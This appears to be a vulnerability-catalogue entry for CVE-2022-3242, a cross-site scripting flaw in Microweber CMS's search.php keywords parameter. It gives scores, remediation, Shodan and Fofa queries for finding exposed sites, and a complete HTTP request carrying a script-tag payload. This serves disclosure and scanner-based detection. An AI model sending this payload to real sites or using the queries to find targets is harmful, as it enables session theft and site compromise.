| Title | Microweber <1.3.2 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Attackers can craft malicious search URLs with JavaScript in the keywords parameter that executes when users access search results, potentially stealing session cookies, admin credentials, or performing unauthorized content modifications in Microweber CMS. |
| Remediation | Update Microweber to version 1.3.2 or later that properly sanitizes and encodes the keywords parameter in search.php. |
| CVSS Score | 6.1 |
| EPSS Score | 0.15577 |
| CVE ID | CVE-2022-3242 |
| CWE ID | CWE-79,CWE-94 |
| Shodan Query | http.favicon.hash:780351152http.html:"microweber" |
| Fofa Query | body="microweber"icon_hash=780351152 |
| Tags | cve cve2022 huntr xss microweber vuln |
Code Injection in on search.php?keywords= GitHub repository microweber/microweber prior to 1.3.2.
GET /search.php?keywords=ABC%3Cdiv%20style=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3242.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3242.pcap
N/AN/A